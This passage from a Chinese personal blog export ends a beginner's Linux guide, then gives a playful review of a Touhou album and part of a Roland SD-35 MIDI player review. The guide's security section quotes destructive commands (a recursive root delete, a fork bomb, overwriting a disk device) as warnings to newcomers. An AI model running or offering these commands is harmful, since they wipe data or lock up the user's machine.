。解压完内核,内核会:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e检测系统硬件\u003c/li\u003e\n\u003cli\u003e挂载根设备\u003c/li\u003e\n\u003cli\u003e加载必要的内核模块(其中包括很多驱动之类)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e这里说一句,在没有挂载电脑硬盘根目录前,内核所有操作都在 \u003ccode\u003einitrd\u003c/code\u003e 的虚拟树根中进行。\u003c/p\u003e\n\u003cp\u003e然后就完了……吧?\u003c/p\u003e\n\u003cp\u003e当然不是,系统只有内核是绝对不够的。他不知道键盘鼠标在哪里,不知道如何走网卡上网,不知道如何…… 你就当他啥也不会就行了。这时我们需要个人来带领他复习这些东西。这个程序,叫系统初始化+管理工具,目前流行的是 systemd。他能初始化系统,运行必要的系统服务之类的(其中包括我们最喜欢的图形化程序)。一般来说,这玩意搞完了,系统基本就能用了。\u003c/p\u003e\n\u003ch2 id=\"linux系统安全教育\"\u003eLinux系统安全教育\u003c/h2\u003e\n\u003cp\u003e在阅读这一章之前,先把超人的座右铭读一下:能力越大,责任越大。\u003cbr/\u003e\nLinux给你的权限是相当大的,鉴于很多人在Windows下,不一定能对系统权限有很深的认识,我不太想让大家因为网上的某些垃圾命令/恶意软件而搞得心情不愉快。所以这里,我简单说几句句。\u003c/p\u003e\n\u003ch3 id=\"sudo和最高权限用户\"\u003esudo和最高权限用户\u003c/h3\u003e\n\u003cp\u003e各位在互联网上寻找到的命令,有一些前面带着\u003ccode\u003esudo\u003c/code\u003e,或是\u003ccode\u003e#\u003c/code\u003e字符。这都意味着,这个命令需要使用最高用户权限(Linux叫root账户)来执行。\u003cbr/\u003e\n在Windows下,有管理员账户(Administrator)。相信大家感受不深,因为各位的电脑默认都是这个账户。当你需要安装应用程序的时候,有个窗口弹出来,让你同意运行。这个情况下,系统就需要让你动用管理员用户权限了,因为你要更改系统设置,修改系统文件啊。Linux也是这样,当你需要安装软件的时候,你需要提权了。\u003cbr/\u003e\nLinux的最高权限用户和Windows的管理员有很大不同。Windows的管理员权限在某种意义上,算是一种丞相的位置,虽然权力相当大了,但上面还有个SYSTEM账户,掌管所有权力。Linux的最高权限用户可谓是一人之下,万人之上了。你可以访问所有文件,修改所有设定,甚至一句话就可以自杀:-P\u003cbr/\u003e\n这就要引出下一个话题了……\u003c/p\u003e\n\u003ch3 id=\"linux也有病毒\"\u003eLinux也有病毒\u003c/h3\u003e\n\u003cp\u003e很多人说,Linux相较于Windows更安全,而且没有病毒。这个话是不完全正确的。\u003cbr/\u003e\n先说错误的部分:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eLinux内核和上面的软件,和Windows一样,会有漏洞。虽然修复十分频繁,但毕竟洞在那里,很多人都会来插的。\u003c/li\u003e\n\u003cli\u003e由于Windows在普通人中间的使用量相当大,攻击者会花很多心思寻找Windows的漏洞,然后编写病毒攻击。Linux和Mac方面的病毒相比,就少了很多。\u003c/li\u003e\n\u003cli\u003eAndroid系统基于Linux开发,然而为啥天天有人随便下载东西,然后手机被锁住了呢?\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e好吧,看上去,也不是那么美好啊。那么,正确的部分又在那里呢?\u003cbr/\u003e\n在Linux下,调用最高管理权限的门槛很高。多数情况下,你在Windows中,默认就是管理员账户,UAC(提权时候的提醒)也近乎于摆设。而Linux的话,用户账户默认是没有最高权限访问权的。而当你提权的时候,往往需要把你加入提权组(一般叫wheel),执行前输入密码。要是不提权的话,你只能操作你家目录里面的东西。而最高权限用户,默认是禁用的,只有当你给其设置密码的时候,才能使用。这种近似于一刀切的管理方式保证了Linux的安全。但如果你们提权了,稀里糊涂地从网上随便贴个危险命令,那就出大事了,比如说:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003esudo rm -rf /*\u003c/code\u003e 臭名昭著的自杀命令\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003e:(){:|:\u0026amp;};:\u003c/code\u003e 可理解为不停调用自己,把电脑卡死\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003ewhatever-command \u0026gt; /dev/sdaX\u003c/code\u003e 直接用该命令的输出覆写到磁盘上,你的硬盘毁了\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e对于Linux而言,不要执行来路不明的程序,也是适用的。\u003cbr/\u003e\n以上说到的,都算是Linux的“病毒”了。希望大家使用的时候一定要小心。\u003c/p\u003e\n\u003ch2 id=\"还有没说到的上网查资料优雅地问问题\"\u003e还有没说到的,上网查资料/优雅地问问题\u003c/h2\u003e\n\u003cp\u003e我前面说过,这里给的东西,都是一些抛砖引玉的东西。如果没有你需要的,首先,我深感歉意:-(\u003cbr/\u003e\n去互联网看看,或者找其他大佬吧,他们一定比我博学多了,不过普遍喜欢使用狗头:-P\u003cbr/\u003e\n(我看到有人经常发狗头的时候,会过敏,我不知道他是不是在嘲讽我)\u003c/p\u003e\n\u003ch3 id=\"提高英语水平\"\u003e提高英语水平\u003c/h3\u003e\n\u003cp\u003e这很关键!因为系统输出的东西都是英文的,而且你目前接触到的所有互联网资源,尤其是跟Linux相关的资源,都是英语的。实在看不懂,多用谷歌翻译吧。\u003c/p\u003e\n\u003ch3 id=\"查看报错输出\"\u003e查看报错输出\u003c/h3\u003e\n\u003cp\u003e报错输出是查错的时候,非常有用的资源。通过阅读它,你能很快明白问题的根源,并进行针对性的上网,搜索解决方案。这里给个例子。\u003c/p\u003e\n\u003cp\u003e\u003c/p\u003e\u003cfigure\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/HYOXzIBN4kWM1eU.jpg\"\u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/HYOXzIBN4kWM1eU.jpg\" loading=\"lazy\" alt=\"他想装一个软件,卡在这里了\"/\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003e他想装一个软件,卡在这里了\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003cp\u003e\u003c/p\u003e\n\u003cp\u003e看到那行E了吗,那个就是报错输出。他报错说,仓库没有找到Release文件。\u003cbr/\u003e\n这样,会修的就知道怎么修了,不会修发给别人,他也能快速帮助你。他的问题是没有完整添加软件源,导致系统不知道跑哪里下载软件安装包。\u003c/p\u003e\n\u003ch3 id=\"怎么提供信息\"\u003e怎么提供信息\u003c/h3\u003e\n\u003cp\u003e有些时候,上网搜也搜不到解决方案,这时我们就需要求助于人了。对于初学者来说,这很正常。\u003cbr/\u003e\n为了节省双方的时间,请各位在上网实在找不到解决方案的时候,再去求助他人。在询问问题的时候,请尽量提供详细的信息。\u003cbr/\u003e\n比如,你的输入法没有拼音输入,你应该提供你系统的截图和设置选项。这比直接问“我的输入法没法输入中文”好多了。\u003c/p\u003e\n\u003ch3 id=\"不要过于依赖别人\"\u003e不要过于依赖别人!\u003c/h3\u003e\n\u003cp\u003e我知道对于初学者而言,有些问题搞不明白,得经常求助别人。这个很正常,我也是这么过来的。但是,解决问题后,你应该从中学到一些东西。如果你一直停留在出现问题-询问问题-解决问题的惯性中,你很难学的好。所以,不要过分依赖他人!要学会自己解决问题,逐渐学到更多。而且,人都是有七情六欲的,你一直问,会把人问烦的。\u003c/p\u003e\n\u003ch2 id=\"为什么我不推荐大家使用linux当作日常系统\"\u003e为什么我不推荐大家使用Linux当作日常系统\u003c/h2\u003e\n\u003cp\u003e嘿嘿嘿,看完了是不是很迷糊,那就快跑!\u003cbr/\u003e\n记住这些,一定要让那些冲动的人们不要踏进来!\u003c/p\u003e\n\u003ch3 id=\"专业软件太少\"\u003e专业软件太少\u003c/h3\u003e\n\u003cp\u003e举两个例子:我高二的时候,有一会需要剪视频,使用Openshot,结果用起来没有Premiere方便不说,还经常崩溃,我被迫装回Windows,使用Premiere。然后是我刚买来新手机的时候,我刷机失败,需要救砖。但是救砖软件是Windows独占,在我用虚拟机救砖失败后,我被迫装回Windows来救砖。\u003cbr/\u003e\n所以说,如果你有十分专业的需求,比如剪视频、重度办公、机床控制、3D游戏之类的话,Linux并不适合你。\u003c/p\u003e\n\u003ch3 id=\"社区风气极差\"\u003e社区风气极差\u003c/h3\u003e\n\u003cp\u003e我最后为啥要给各位介绍如何优雅问问题/上网搜资料呢?因为Linux社区对小白很不友好。这里直接贴上《提问的智慧》的最后一段:\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e如何更好地回答\u003cbr/\u003e\n态度和善一点。问题带来的压力常使人显得无礼或愚蠢,其实并不是这样。\u003cbr/\u003e\n对初犯者私下回复。 对那些坦诚犯错之人没有必要当众羞辱,一个真正的新手也许连怎么搜索或在哪找 FAQ 都不知道。\u003cbr/\u003e\n如果你不确定,一定要说出来! 一个听起来权威的错误回复比没有还要糟,别因为听起来象个专家好玩就给别人乱指路。要谦虚和诚实,给提问者与同行都树个好榜样。\u003cbr/\u003e\n如果帮不了忙,别妨碍。 不要在具体步骤上开玩笑,那样也许会毁了用户的安装──有些可怜的呆瓜会把它当成真的指令。\u003cbr/\u003e\n探索性的反问以引出更多的细节。 如果你做得好,提问者可以学到点东西──你也可以。试试将很差的问题转变成好问题,别忘了我们都曾是新手。\u003cbr/\u003e\n尽管对那些懒虫报怨一声“读读该死的手册”(RTFM)是正当的,指出文档的位置(即使只是建议做个谷歌关键词搜索)会更好。\u003cbr/\u003e\n如果你决意回答,给出好的答案。 当别人正在用错误的工具或方法时别建议笨拙的权宜之计,应推荐更好的工具,重新组织问题。\u003cbr/\u003e\n帮助你的社区从中学习。当回复一个好问题时,问问自己 “如何修改相关文件或 FAQ 文档以免再次解答同样的问题?”,接着再向文档维护者发一份补丁。\u003cbr/\u003e\n如果你是在研究一番后才做出的回答,展现你的技巧而不是直接端出结果。毕竟“授人以鱼,不如授人以渔”。\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e在我们的社区,这样的人很少,而且我去Bilibili上面看了,很多都是炫技/营销号:-P\u003cbr/\u003e\n希望大佬们好好看看这里吧。\u003c/p\u003e\n\u003ch3 id=\"这是幽幽子使用的系统\"\u003e这是幽幽子使用的系统\u003c/h3\u003e\n\u003cp\u003e这个无需多言,我们凡人使用了她用过的系统,岂不是要折寿?\u003cbr/\u003e\n摘自zh.moegirl.org:\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e幽幽子平时使用Debian GNU/Linux,因为天冠上的标志与Debian GNU/Linux极为类似。\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e以此类推,灵梦用的是Ubuntu,魔理沙使用的就是Arch Linux了吧233\u003c/p\u003e\n\u003ch2 id=\"推荐读物\"\u003e推荐读物\u003c/h2\u003e\n\u003cp\u003e\u003ca class=\"link\" href=\"https://www.github.com/ryanhanwu/How-To-Ask-Questions-The-Smart-Way/blob/main/README-zh_CN.md\" target=\"_blank\" rel=\"noopener\"\u003e提问的智慧\u003c/a\u003e\u003cbr/\u003e\n\u003ca class=\"link\" href=\"https://lvris.com/p/resource-search/\" target=\"_blank\" rel=\"noopener\"\u003e由书名号同志编写的资源搜索指南\u003c/a\u003e\u003cbr/\u003e\n\u003ca class=\"link\" href=\"https://wiki.archlinux.org/\" target=\"_blank\" rel=\"noopener\"\u003eArch Linux Wiki\u003c/a\u003e\u003cbr/\u003e\n\u003ca class=\"link\" href=\"https://www.vbird.org/\" target=\"_blank\" rel=\"noopener\"\u003e鸟哥的私房菜\u003c/a\u003e\u003c/p\u003e\n\u003ch2 id=\"结尾\"\u003e结尾\u003c/h2\u003e\n\u003cp\u003e感谢大家阅读,希望这个文章能帮助大家适应Linux。我提到的很多东西,在Windows下也适用呢。\u003c/p\u003e\n\u003c/body\u003e\u003c/html\u003e","url":"https://www.superbart.xyz/p/linux-in-quick-run.html"},{"title":"The Embodiment of Scarlet Devil专辑推广材料","time":"2021-11-05T00:00:00Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cimg src=\"https://s2.loli.net/2022/08/01/IiZ6PgFa1C73SnX.jpg\" alt=\"Featured image of post The Embodiment of Scarlet Devil专辑推广材料\"/\u003e\n\n\n\n\n\n \n\n\n\u003cdiv class=\"video-wrapper\"\u003e\n \u003ciframe src=\"https://player.bilibili.com/player.html?as_wide=1\u0026amp;high_quality=1\u0026amp;page=1\u0026amp;bvid=BV1Wq4y1f7h7\" scrolling=\"no\" frameborder=\"no\" framespacing=\"0\" allowfullscreen=\"true\"\u003e\n \u003c/iframe\u003e\n\u003c/div\u003e\n\n\u003cp\u003e本人最近被一群可爱的女孩子找上门来,称自己叫Gensokyo Band,想让我发行一张专辑。我说:我又不是音乐厂商,为啥要找我呢?她们说我肯定识货,直接把母带给我,然后就走了。母带上面写着:The Embodiment of Scarlet Devil。抱着怀疑的心态,我把母带放入了机器里面听,兴许是某种King Crimson首专的仿制品。\u003c/p\u003e\n\u003cp\u003e然而,一开始的感觉并不是这样。这张专辑貌似十分的舒缓,钢琴的声音也很明亮。后面的基本也是这样,钢琴和电子琴一直是最主要的乐器,还有十分抓人耳朵的小号。演奏的很多旋律,都有一种说不上来的熟悉感和陌生感。但是摇滚的特征也很多,比如很多地方快速的吉他演奏,就跟Hackett在Hogweed那首歌开始部分的吉他演奏一样,让人印象深刻。而电子琴高昂的旋律,跟Jon Lord的电子风管琴一样,推动了音乐节奏的发展。怎么说呢,我觉得对于听多了ELP那种表面很好听,实际很古板的音乐之后,突然给我这种难以解释的音乐,还真的很难形容。\u003c/p\u003e\n\u003ch2 id=\"目录\"\u003e目录\u003c/h2\u003e\n\u003cp\u003e整张专辑主要分为四个部分:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e1. 标题曲: A Dream that is More Scarlet than Red\n第一部分:湖面上一缕清晨的阳光:\n 2. A Soul as Scarlet as a Ground Cherry\n 3. Apparitions Stalk the Night\n 4. Lunate Elf\n 5. Tomboyish Girl in Love\n第二部分:思绪万千的女孩子:\n 6. Shanghai Scarlet Teahouse ~ Chinese Tea\n 7. Shanghai Alice of Meiji 17\n 8. Voile, the Magic Library\n 9. Locked Girl ~ The Girl\u0026#39;s Sealed Room\n第三部分:打工人忙碌的一天:\n 10. The Maid and the Pocket Watch of Blood\n 11. Lunar Clock ~ Luna Dial\n第四部分:绯红恶魔的出现:\n 12. The Young Descendant of Tepes\n 13. Septette for a Dead Princess\n 14. The Centennial Festival for Magical Girls\n 15. U.N. Owen Was Her?\n16. 结束曲:An Eternity More Transient than Scarlet\n17. 回响曲:Scarlet Tower ~ Eastern Dream...\n\u003c/code\u003e\u003c/pre\u003e\n\u003ch2 id=\"第一部分1-5\"\u003e第一部分(1-5)\u003c/h2\u003e\n\u003cp\u003e第一部分主要是十分舒缓的节奏,像许多田园那样十分清爽。这部分的歌曲节奏十分鲜明。第二首和第四首应该是4/2拍,是进行曲那样的节奏。这样的节奏,代入的话,就是一种吸引人们过来欣赏,然后让人呆住听的感觉。除了第三首外,这一部分的鼓声也很鲜明,和跳跃的贝斯配合,像是一个人走在丛林里面探险。我觉得在某种意义上,算是把小号渲染环境的风头给抢去了。第三首我觉得有点平平了,开头像是注册机音乐:-P\u003c/p\u003e\n\u003ch2 id=\"第二部分6-9\"\u003e第二部分(6-9)\u003c/h2\u003e\n\u003cp\u003e第二部分最明显的特征是节奏的逐渐加快和旋律的加重。这里的“加重”,是指旋律逐渐变得很空广,给人一种开阔的感觉,没有第一部分那样的舒缓了。很明显,这是合成器的功劳,流行音乐很喜欢那种开阔的音乐。从Bee Gees 1st到ABBA,再看看Whenever You Need Somebody和吻别之类的, 在垃圾电音之前,很多流行歌曲都是这样的。这里有个例外,就是第八首,大致是回到了第一部分那样的舒缓和探索风格了。由于第九首结构十分复杂,并且很有史诗的味道,所以第八首这么处理,有点“大的要来了”那种感觉。\u003cbr/\u003e\n还记得一开始说的快速吉他演奏吗?这就是第九首一开始的样子。这首音乐结构复杂,让我想到了很多我听过的曲子。干脆给个结构,你们各位自己联想吧:\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e开始的合奏 –\u0026gt; Deep Purple: Gypsy’s Kiss 开始部分 –\u0026gt;\nGenesis: Return of Giant Hogweed 快速Riff –\u0026gt; King Crimson: Epitath 中间的和声 –\u0026gt;\n开始的合奏 –\u0026gt; 爵士味道的合奏 –\u0026gt; 结束\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e(插一句:我没听过多少爵士乐的东西,但很多前卫摇滚专辑的爵士乐色彩都很浓吧:-P)\u003c/p\u003e\n\u003ch2 id=\"第三部分10-11\"\u003e第三部分(10-11)\u003c/h2\u003e\n\u003cp\u003e第三部分可以说是最差的部分。都是因为第十一首,我觉得就是把You Really Got Me的Riff直接搬过来用了(Deep Purple的Drifter也是,可能这是某种通用Riff?),而且十分刺耳,十分混乱,很明显混音师并没有完好地把各个乐器的占比给平衡好。第十首实际上还行吧,但前面已经有很多类似风格的歌曲了,再来一个没啥特点的类似歌曲,未免让人有点审美疲劳。你们知道听多了ELP的Karn Evil No 9之后是啥感觉吗,怎么他们花了7分钟不停地重复相同的东西呢?\u003c/p\u003e\n\u003ch2 id=\"第四部分结尾12-1516-17\"\u003e第四部分\u0026amp;结尾(12-15+16-17)\u003c/h2\u003e\n\u003cp\u003e第四部分,终于有点新的东西了。在第一部分,第二部分特点的基础上,将摇滚的节奏,爵士的味道和古典的气息融合得最好。\u003cbr/\u003e\n上来第十二首,钢琴爵士的味道简直太浓了,而歌曲开始又是第一部分那样的节奏。第十三首彻底就是一个古典钢琴曲的改编,名称叫《悼念公主的帕凡舞曲》(谁知道《让我们荡其双桨》是不是借鉴了这个)。然而这个改编节奏太快,我第一时间还没反应过来,后来才回过味来,而后面的部分加上了合奏。比起原先曲子的忧伤,这个改编挺让人热血沸腾的。第十四首总体来说,有点迷幻了。开头的部分是The Doors的Strange Days,至少让我体现了那种感觉,后面的部分又回到了这张专辑一贯的爵士合奏风格:-P第十四首,可以说重金属感觉了出来,任何一个乐符都很干脆利落,有点让人喘不过气来。\u003c/p\u003e\n\u003cp\u003e那最后一首呢,我觉得很有创意。虽然是第一首的再奏,但是它使用了敲击出来的音乐,还挺让人耳目一新的。\u003cbr/\u003e\n我还想插一句,最后的回响曲在这里,我觉得意义不明。\u003c/p\u003e\n\u003ch2 id=\"和in-the-wake-of-the-poseidon对位\"\u003e和In the Wake of the Poseidon对位\u003c/h2\u003e\n\u003cp\u003e我看着张专辑的编排,确实有点像King Crimson的专辑,不过是第二张,再列个表吧,列出部分曲目的对位关系:\u003c/p\u003e\n\u003ctable\u003e\n\u003cthead\u003e\n\u003ctr\u003e\n\u003cth\u003eDevil\u003c/th\u003e\n\u003cth\u003ePoseidon\u003c/th\u003e\n\u003c/tr\u003e\n\u003c/thead\u003e\n\u003ctbody\u003e\n\u003ctr\u003e\n\u003ctd\u003e1. A Dream that is More Scarlet than Red\u003c/td\u003e\n\u003ctd\u003eA1. Peace: A Beginning\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e2. A Soul as Scarlet as a Ground Cherry\u003c/td\u003e\n\u003ctd\u003eA2. Picture of a City\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e4. Lunate Elf\u003c/td\u003e\n\u003ctd\u003eA3. Cadence And Cascade\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e9. Locked Girl ~ The Girl’s Sealed Room\u003c/td\u003e\n\u003ctd\u003eA4. In the Wake of the Poseidon\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e10. The Maid and the Pocket Watch of Blood\u003c/td\u003e\n\u003ctd\u003eB2. Cat Food\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e12. The Young Descendant of Tepes\u003c/td\u003e\n\u003ctd\u003eB3a. The Devil\u0026#39;s Triangle\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e13. Septette for a Dead Princess\u003c/td\u003e\n\u003ctd\u003eB3b. Merday Morn\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e14. The Centennial Festival for Magical Girls\u003c/td\u003e\n\u003ctd\u003eB3c. Hand Of Sceiron\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e15. U.N. Owen Was Her?\u003c/td\u003e\n\u003ctd\u003eB3d. Garden Of Worm\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e16. An Eternity More Transient than Scarlet\u003c/td\u003e\n\u003ctd\u003eB4. Peace: An End\u003c/td\u003e\n\u003c/tr\u003e\n\u003c/tbody\u003e\n\u003c/table\u003e\n\u003ch2 id=\"总结寻人启事\"\u003e总结+寻人启事\u003c/h2\u003e\n\u003cp\u003e总体来说,这张专辑虽然说爵士味道很浓,但是无论从音乐编排,很多新颖的编排来说,前卫摇滚的因素十分的多。虽然也有少部分歌曲风格重复,审美疲劳,总体还是比ELP,Yes这样僵化的乐队好听多了。对比某个写英国内战时某个亲王的专辑来说,更是好到不知道到哪里去了。\u003c/p\u003e\n\u003cp\u003e不过,我还是不明白她们为啥找我发行。不过我既然有b站帐号,我就给放出来了,看样子反响不错。她们也没再找我,不过他们一开始给的母带上面写着他们叫有些信息,我就根据那个,根据记忆,画了她们的样貌,希望她们还能回来,找我结帐。\u003c/p\u003e\n\u003cp\u003e\u003c/p\u003e\u003cfigure\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/W6EmiNkFGl98LBI.jpg\"\u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/W6EmiNkFGl98LBI.jpg\" loading=\"lazy\"/\u003e\n\t\u003c/a\u003e\n\t\n\u003c/figure\u003e\n\u003cfigure\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/AGmOSclbnYzfup2.jpg\"\u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/AGmOSclbnYzfup2.jpg\" loading=\"lazy\"/\u003e\n\t\u003c/a\u003e\n\t\n\u003c/figure\u003e\n\u003cfigure\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/Bu7G9LodS8vUXwJ.jpg\"\u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/Bu7G9LodS8vUXwJ.jpg\" loading=\"lazy\"/\u003e\n\t\u003c/a\u003e\n\t\n\u003c/figure\u003e\u003cp\u003e\u003c/p\u003e\n\u003cp\u003e补充:有时多瞎想点东西,还是很好的呢:-)希望大家喜欢看这样的音乐评测,可能以后有些音乐专辑,我就引入她们的设定了233\u003c/p\u003e\n\u003ch2 id=\"推荐链接\"\u003e推荐链接\u003c/h2\u003e\n\u003cp\u003e\u003ca class=\"link\" href=\"https://zh.touhouwiki.net/wiki/%E4%B8%9C%E6%96%B9%E7%BA%A2%E9%AD%94%E4%B9%A1/%E9%9F%B3%E4%B9%90\" target=\"_blank\" rel=\"noopener\"\u003eTouhouwiki 上面的介绍\u003c/a\u003e\u003cbr/\u003e\n\u003ca class=\"link\" href=\"https://www.bilibili.com/video/BV1Ai4y1b7LJ\" target=\"_blank\" rel=\"noopener\"\u003eSC-88 Pro 合成版 @pingatsky\u003c/a\u003e\u003cbr/\u003e\n\u003ca class=\"link\" href=\"https://www.bilibili.com/video/BV1Wq4y1f7h7\" target=\"_blank\" rel=\"noopener\"\u003eSD-35 (约等于SC-55) 合成版 @SuperBart\u003c/a\u003e\u003cbr/\u003e\n\u003ca class=\"link\" href=\"http://www.progarchives.com/album.asp?id=1904\" target=\"_blank\" rel=\"noopener\"\u003eIn the Wake of Poseidon 在 Prog Archive 上的评论\u003c/a\u003e\u003c/p\u003e\n\u003c/body\u003e\u003c/html\u003e","url":"https://www.superbart.xyz/p/gensokyo-band-promotion-file.html"},{"title":"Roland SD-35 MIDI 播放器评测","time":"2021-09-05T00:00:00Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cimg src=\"https://s2.loli.net/2022/08/01/TerCUsW3QqVIRbh.jpg\" alt=\"Featured image of post Roland SD-35 MIDI 播放器评测\"/\u003e\u003cp\u003e我一直想要一个硬音源,所以我搞来了这台Roland SD-35 MIDI播放器。因为这是闲鱼上我所找到的最便宜,也是最具特点的Roland MIDI设备。这台机器吸引我的地方,就是其能播放软盘里的MIDI音乐。不过这个机器当音源是真的不行,不过情有可原。接下来,我给大家详细介绍这个机器。\u003c/p\u003e\n\u003cp\u003e\u003c/p\u003e\u003cfigure\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/TerCUsW3QqVIRbh.jpg\"\u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/TerCUsW3QqVIRbh.jpg\" loading=\"lazy\" alt=\"开学才一周,桌面就很乱了:-P\"/\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003e开学才一周,桌面就很乱了:-P\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003cp\u003e\u003c/p\u003e\n\u003ch2 id=\"part-1历史背景\"\u003ePart 1:历史背景\u003c/h2\u003e\n\u003cp\u003eRoland公司在1991发布了Roland SC-55 MIDI硬音源,将高品质MIDI音源给大众化了。很多游戏音乐,比如《毁灭战士》的音乐,就是用SC-55写的。之后,Roland在1993年发布了SC-55 MK II,算是一个小幅升级版。1994年则是SC-50,较SC-55 MK II砍掉了MT-32模拟功能,并且只有一个MIDI输入接口。\u003c/p\u003e\n\u003cp\u003e在1993年,SD-35 MIDI播放器问世,本质上就是SC-50,不过加了一个软盘播放器。它还有一个姐妹型号,SB-55。\u003c/p\u003e\n\u003cp\u003e\u003c/p\u003e\u003cfigure\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/89bCa4Rz5VlhukN.jpg\"\u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/89bCa4Rz5VlhukN.jpg\" loading=\"lazy\" alt=\"上图来源:Wikipedia “Roland Sound Canvas”\"/\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003e上图来源:Wikipedia “Roland Sound Canvas”\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003cp\u003e\u003c/p\u003e\n\u003ch2 id=\"part-2作为一个midi播放器\"\u003ePart 2:作为一个MIDI播放器\u003c/h2\u003e\n\u003cp\u003e这个机器最主要的功能,就是播放MIDI文件。播放的话,有两种方式:一种是通过软盘播放,一种是通过MIDI线缆输入。它前面板上有一个软驱,插入720K软盘后,如果是空盘,它可以给格式化,如果有标准MIDI文件的话,它就会播放。另外一种,就是通过MIDI线缆,传入信号并播放,或者录制MIDI信号到软盘。\u003c/p\u003e\n\u003cp\u003e这个机器的主打功能是软盘MIDI播放和MIDI信号录制,所以这两个我就不说了。前面的使用完美,后面的我没有条件测试。而后者呢,算是这个机器的弱项。经常传输信号的时候,机器报缓存已满。根据说明书,机器由于传入太多的MIDI信号而无法处理。说明书还建议把Soft Thru关掉,因为这玩意占着资源,但这样我就听不到音乐了。我根据群友的建议,用TMIDI播放器调整了传输速率,但还是不行。这类情况在传输一些复杂的MIDI信号的时候,十分明显。\u003c/p\u003e\n\u003cp\u003e\u003c/p\u003e\u003cfigure\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/YA5DlKdLg8Bh9Ra.jpg\"\u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/YA5DlKdLg8Bh9Ra.jpg\" loading=\"lazy\" alt=\"bFL = buffer FULL\"/\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003ebFL = buffer FULL\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003cp\u003e\u003c/p\u003e\n\u003cp\u003e这个机器,由于本质是SC-55,所以合成的音效嘛,就是SC-55的样子。但是这也带来了一个问题,就是对于一些面向SC-88编写的MIDI音乐,可能合成会有问题。我在用机器播放《东方红魔乡》的MIDI音乐(GS标准,面向SC88Pro编写)时,经常看到地址报错,而且有一首歌,把最后部分的长音小号给合成错了。\u003c/p\u003e\n\u003cp\u003e这个机器还有一个功能,就是GM标准和GS标准之间的转换。当然,其他的音源估计也有。这两个标准合成的音乐有些许不同,值得注意。\u003c/p\u003e\n\u003cp\u003e这台机器还有很多其他功能,诸如只播放一个通道之类,这里我就不说了,对我而言实用性不强。\u003c/p\u003e\n\u003ch2 id=\"part-3这台机器到底是用来干啥的\"\u003ePart 3:这台机器到底是用来干啥的?\u003c/h2\u003e\n\u003cp\u003e根据上面的用途和说明书上的提示,我觉得这个机器不是面向MIDI音乐编写/播放设计的,而是面向现场播放用途设计的。这里我放上该机器的后面板。\u003c/p\u003e\n\u003cp\u003e\u003c/p\u003e\u003cfigure\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/pJ9OcGgDfjQRNUr.jpg\"\u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/pJ9OcGgDfjQRNUr.jpg\" loading=\"lazy\" alt=\"由左至右:输入电平调整 输入声音信号 输出声音信号 控制信号 输出MIDI信号 电源接口 开关\"/\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003e由左至右:输入电平调整 输入声音信号 输出声音信号 控制信号 输出MIDI信号 电源接口 